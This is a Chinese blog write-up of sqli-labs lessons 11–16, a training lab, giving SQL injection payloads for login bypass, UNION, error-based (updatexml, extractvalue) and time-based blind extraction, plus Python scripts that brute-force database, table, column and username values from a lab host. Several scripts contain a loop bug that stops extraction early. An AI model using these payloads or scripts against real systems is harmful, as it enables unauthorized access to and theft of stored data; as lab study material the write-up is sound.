• sqli-labs(3)


    11.

    看到登录框直接or 1=1

    在hackerabar中我们可以看到这里是post传递的数据,在get中用--+来注释后面的内容 因为get中#是用来指导浏览器动作的,--代表注释+是空格,所以这里用#

    之后就和get的一样了

    1' order by 2 #

    order by 3报错

    联合注入

    1' union select 1,2 #

    1‘ union select database(),2#

    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

    1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

    1' union select 1,group_concat(username) from security.users #

    12.

    1'没反应尝试”

    通过“尝试得到报错知道还要)

    1") or 1=1 #

    之后一样’

    1") union select 1,2 #

    1") union select 1,database() #

    1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

    1") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

    1") union select 1,group_concat(username) from security.users #

    13.

    1‘尝试出现报错,知道是1’)

    显示登录成功但不会出现提示但是有报错信息使用报错注入,这里使用报错注入我们使用两种报错注入方法

    1') and extractvalue(1,concat(0x5c,database()))#

    1') and updatexml(1,concat(0x7e,database(),0x7e),1) #

    注入得到表名

    1. 1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
    2. 1') and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) #

    注入的列名

    1. 1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)
    2. 1') and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#

    注入的数据

    1. 1') and updatexml(1,concat(0x7e,(select group_concat(username) from security.users ),0x7e),1)
    2. 1') and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users)))#

    14.

    对输入框测试发现当输入1“ or 1=1 #登录成功

    使用报错注入

    1. 1" and updatexml(1,concat(0x7e,database(),0x7e),1)#
    2. 1" and extractvalue(1,concat(0x5c,database()))#

    得到数据库库名

    1. 1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
    2. 1" and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#

    得到表名

    1. 1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
    2. 1" and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#

    得到列名

    1. 1" and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)#
    2. 1" and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users)))#

    15.

    当1’ or 1=1#返回登录成功

    这里看到如果输入的为错则返回登录失败不会出现报错信息使用布尔盲注

    这里我们要知道and 和or的区别 and'两边的条件都为真才会执行 or一边为真就会执行,而这里我们如果没有爆破过用户admin也不在username中那我们就只能使用or,这里的登录框根据经验第一个肯定是获取username的

    1. admin' and (substr(database(),1,1)='s')#
    2. 1' or (substr(database(),1,1)='s')#

    1' or (substr(database(),1,1)='a')#

    这里成功和失败只会返回不同的照片对于脚本来说没有很明显的特征我们使用sleep来写脚本

    1. import requests,time
    2. def database():
    3. data_base = ''
    4. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    5. while True:
    6. for char in charset:
    7. payload = {"uname":f"1' or if(substr(database(),{len(data_base) +1},1)='{char}',sleep(2),0)#","passwd":"123456"}
    8. url = "http://192.168.1.200:86/Less-15/"
    9. start_time = time.time()
    10. rsp = requests.post(url,data=payload)
    11. end_stime = time.time()
    12. rsp_time = end_stime - start_time
    13. #print(f"耗时:{rsp_time}")
    14. if rsp_time > 2:
    15. data_base += char
    16. print(f"数据库名为:{data_base}")
    17. break
    18. else:
    19. break
    20. return data_base
    21. datas = database()
    22. print(f"最终数据库名为:{datas}")
    1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),0)#

       

    1. def tablename():
    2. table_name = ''
    3. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    4. while True:
    5. for char in charset:
    6. payload = {
    7. "uname":f"1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{len(table_name) +1},1)='{char}',sleep(2),0)#",
    8. "passwd":"123456"
    9. }
    10. url = "http://192.168.1.200:86/Less-15/"
    11. start_time = time.time()
    12. rsp = requests.post(url,data=payload)
    13. end_stime = time.time()
    14. rsp_time = end_stime - start_time
    15. if rsp_time > 2:
    16. table_name += char
    17. print(f"表名为:{table_name}")
    18. break
    19. else:
    20. break
    21. return table_name
    22. tables = tablename()
    23. print(f"最终表名为:{tables}")

    1' or if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),0)#

    1. def columnname():
    2. column_name = ''
    3. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    4. while True:
    5. for char in charset:
    6. payload = {
    7. "uname":f"1' or if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),{len(column_name) +1},1)='{char}',sleep(2),0)#",
    8. "passwd":"123456"
    9. }
    10. url = "http://192.168.1.200:86/Less-15/"
    11. start_time = time.time()
    12. rsp = requests.post(url,data=payload)
    13. end_time = time.time()
    14. rsp_time = end_time - start_time
    15. if rsp_time > 2:
    16. column_name += char
    17. print(f"列名为:{column_name}")
    18. break
    19. else:
    20. break
    21. return column_name
    22. columns = columnname()
    23. print(f"最终列名为:{columns}")
    1' or if(substr((select username from security.users limit 0,1),1,1)='d',sleep(5),0)#

    1. def data():
    2. data = ''
    3. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    4. while True:
    5. for char in charset:
    6. payload = {
    7. "uname":f"1' or if(substr((select username from security.users limit 0,1),{len(data) +1},1)='{char}',sleep(2),0)#",
    8. "passwd":"123456"
    9. }
    10. url = "http://192.168.1.200:86/Less-15/"
    11. start_time = time.time()
    12. rsp = requests.post(url,data=payload)
    13. end_time = time.time()
    14. rsp_time = end_time - start_time
    15. if rsp_time > 2:
    16. data += char
    17. print(f"数据为:{data}")
    18. break
    19. else:
    20. break
    21. return data
    22. datadata = data()
    23. print(f"最终数据为:{datadata}")
    1. import requests,time
    2. def database():
    3. data_base = ''
    4. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    5. while True:
    6. for char in charset:
    7. payload = {"uname":f"1' or if(substr(database(),{len(data_base) +1},1)='{char}',sleep(2),0)#","passwd":"123456"}
    8. url = "http://192.168.1.200:86/Less-15/"
    9. start_time = time.time()
    10. rsp = requests.post(url,data=payload)
    11. end_stime = time.time()
    12. rsp_time = end_stime - start_time
    13. #print(f"耗时:{rsp_time}")
    14. if rsp_time > 2:
    15. data_base += char
    16. print(f"数据库名为:{data_base}")
    17. break
    18. else:
    19. break
    20. return data_base
    21. datas = database()
    22. print(f"最终数据库名为:{datas}")
    23. def tablename():
    24. table_name = ''
    25. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    26. while True:
    27. for char in charset:
    28. payload = {
    29. "uname":f"1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{len(table_name) +1},1)='{char}',sleep(2),0)#",
    30. "passwd":"123456"
    31. }
    32. url = "http://192.168.1.200:86/Less-15/"
    33. start_time = time.time()
    34. rsp = requests.post(url,data=payload)
    35. end_stime = time.time()
    36. rsp_time = end_stime - start_time
    37. if rsp_time > 2:
    38. table_name += char
    39. print(f"表名为:{table_name}")
    40. break
    41. else:
    42. break
    43. return table_name
    44. tables = tablename()
    45. print(f"最终表名为:{tables}")
    46. def columnname():
    47. column_name = ''
    48. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    49. while True:
    50. for char in charset:
    51. payload = {
    52. "uname":f"1' or if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),{len(column_name) +1},1)='{char}',sleep(2),0)#",
    53. "passwd":"123456"
    54. }
    55. url = "http://192.168.1.200:86/Less-15/"
    56. start_time = time.time()
    57. rsp = requests.post(url,data=payload)
    58. end_time = time.time()
    59. rsp_time = end_time - start_time
    60. if rsp_time > 2:
    61. column_name += char
    62. print(f"列名为:{column_name}")
    63. break
    64. else:
    65. break
    66. return column_name
    67. columns = columnname()
    68. print(f"最终列名为:{columns}")
    69. def data():
    70. data = ''
    71. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    72. while True:
    73. for char in charset:
    74. payload = {
    75. "uname":f"1' or if(substr((select username from security.users limit 0,1),{len(data) +1},1)='{char}',sleep(2),0)#",
    76. "passwd":"123456"
    77. }
    78. url = "http://192.168.1.200:86/Less-15/"
    79. start_time = time.time()
    80. rsp = requests.post(url,data=payload)
    81. end_time = time.time()
    82. rsp_time = end_time - start_time
    83. if rsp_time > 2:
    84. data += char
    85. print(f"数据为:{data}")
    86. break
    87. else:
    88. break
    89. return data
    90. datadata = data()
    91. print(f"最终数据为:{datadata}")

    16.

    测试发现1" or 1=1 #时登录成功

    1") or if(substr(database(),1,1)='s',sleep(5),0 )#

    1. import requests,time
    2. def dataname():
    3. data_name = ""
    4. chart = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    5. while True:
    6. for char in chart:
    7. payload = {
    8. "uname":f'1") or if(substr(database(),{len(data_name) +1},1)="{char}",sleep(2),0)#',
    9. "passwd":"123456"
    10. }
    11. url = "http://192.168.1.200:86/Less-16/"
    12. start_time =time.time()
    13. rsp = requests.post(url,data=payload)
    14. end_time = time.time()
    15. rsp_time = end_time - start_time
    16. if rsp_time >2:
    17. data_name += char
    18. print(f"数据库为:{data_name}")
    19. break
    20. else:
    21. break
    22. return data_name
    23. datas = dataname()
    24. print(f"最终数据名为:{datas}")

    1") or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),0)#

    1. def tablename():
    2. table_name = ""
    3. chart = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    4. while True:
    5. for char in chart:
    6. payload = {
    7. "uname":f'1") or if(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),{len(table_name) +1},1)="{char}",sleep(2),0)#',
    8. "passwd":"123456"
    9. }
    10. url = "http://192.168.1.200:86/Less-16/"
    11. start_time =time.time()
    12. rsp = requests.post(url,data=payload)
    13. end_time = time.time()
    14. rsp_time = end_time - start_time
    15. if rsp_time >2:
    16. table_name += char
    17. print(f"表名为:{table_name}")
    18. break
    19. else:
    20. break
    21. return table_name
    22. tables = tablename()
    23. print(f"最终表名为:{tables}")

    1") or if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),0)#

    1. def columnname():
    2. column_name = ""
    3. chart = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    4. while True:
    5. for char in chart:
    6. payload = {
    7. "uname":f'1") or if(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),{len(column_name) +1},1)="{char}",sleep(2),0)#',
    8. "passwd":"123456"
    9. }
    10. url = "http://192.168.1.200:86/Less-16/"
    11. start_time =time.time()
    12. rsp = requests.post(url,data=payload)
    13. end_time = time.time()
    14. rsp_time = end_time - start_time
    15. if rsp_time >2:
    16. column_name += char
    17. print(f"字段名为:{column_name}")
    18. break
    19. else:
    20. break
    21. return column_name
    22. columns = columnname()
    23. print(f"最终字段名为:{columns}")

    1") or if(substr((select username from security.users limit 0,1),1,1)='d',sleep(5),0)#

    1. def data():
    2. data = ""
    3. chart = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    4. while True:
    5. for char in chart:
    6. payload = {
    7. "uname":f'1") or if(substr((select username from security.users limit 0,1),{len(data) +1},1)="{char}",sleep(2),0)#',
    8. "passwd":"123456"
    9. }
    10. url = "http://192.168.1.200:86/Less-16/"
    11. start_time =time.time()
    12. rsp = requests.post(url,data=payload)
    13. end_time = time.time()
    14. rsp_time = end_time - start_time
    15. if rsp_time >2:
    16. data += char
    17. print(f"数据为:{data}")
    18. break
    19. else:
    20. break
    21. return data
    22. datas = data()
    23. print(f"最终数据为:{datas}")

    最终脚本

    1. import requests,time
    2. def dataname():
    3. data_name = ""
    4. chart = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    5. while True:
    6. for char in chart:
    7. payload = {
    8. "uname":f'1") or if(substr(database(),{len(data_name) +1},1)="{char}",sleep(2),0)#',
    9. "passwd":"123456"
    10. }
    11. url = "http://192.168.1.200:86/Less-16/"
    12. start_time =time.time()
    13. rsp = requests.post(url,data=payload)
    14. end_time = time.time()
    15. rsp_time = end_time - start_time
    16. if rsp_time >2:
    17. data_name += char
    18. print(f"数据库为:{data_name}")
    19. break
    20. else:
    21. break
    22. return data_name
    23. datas = dataname()
    24. print(f"最终数据名为:{datas}")
    25. def tablename():
    26. table_name = ""
    27. chart = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    28. while True:
    29. for char in chart:
    30. payload = {
    31. "uname":f'1") or if(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),{len(table_name) +1},1)="{char}",sleep(2),0)#',
    32. "passwd":"123456"
    33. }
    34. url = "http://192.168.1.200:86/Less-16/"
    35. start_time =time.time()
    36. rsp = requests.post(url,data=payload)
    37. end_time = time.time()
    38. rsp_time = end_time - start_time
    39. if rsp_time >2:
    40. table_name += char
    41. print(f"表名为:{table_name}")
    42. break
    43. else:
    44. break
    45. return table_name
    46. tables = tablename()
    47. print(f"最终表名为:{tables}")
    48. def columnname():
    49. column_name = ""
    50. chart = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    51. while True:
    52. for char in chart:
    53. payload = {
    54. "uname":f'1") or if(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),{len(column_name) +1},1)="{char}",sleep(2),0)#',
    55. "passwd":"123456"
    56. }
    57. url = "http://192.168.1.200:86/Less-16/"
    58. start_time =time.time()
    59. rsp = requests.post(url,data=payload)
    60. end_time = time.time()
    61. rsp_time = end_time - start_time
    62. if rsp_time >2:
    63. column_name += char
    64. print(f"字段名为:{column_name}")
    65. break
    66. else:
    67. break
    68. return column_name
    69. columns = columnname()
    70. print(f"最终字段名为:{columns}")
    71. def data():
    72. data = ""
    73. chart = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    74. while True:
    75. for char in chart:
    76. payload = {
    77. "uname":f'1") or if(substr((select username from security.users limit 0,1),{len(data) +1},1)="{char}",sleep(2),0)#',
    78. "passwd":"123456"
    79. }
    80. url = "http://192.168.1.200:86/Less-16/"
    81. start_time =time.time()
    82. rsp = requests.post(url,data=payload)
    83. end_time = time.time()
    84. rsp_time = end_time - start_time
    85. if rsp_time >2:
    86. data += char
    87. print(f"数据为:{data}")
    88. break
    89. else:
    90. break
    91. return data
    92. datas = data()
    93. print(f"最终数据为:{datas}")

  • 相关阅读:
    一次对BC网站的渗透测试实战
    【带RL负载的全波桥式整流器】功能齐全的单相非控整流器(Simulink)
    js兼容性的汇总
    基于HTML体育运动兵乓球网站项目的设计与实现【学生网页设计作业源码】
    【JavaEE】多线程案例-阻塞队列
    “目标检测”任务基础认识
    ubuntu的键盘F1~F12没有反应/出现问题(被系统强制为功能键了)
    Java并发-操作系统,进程,线程,并行并发?
    电视剧里的代码真能运行吗?
    ZYNQ移植uCOSIII
  • 原文地址:https://blog.csdn.net/qq_61988806/article/details/134448580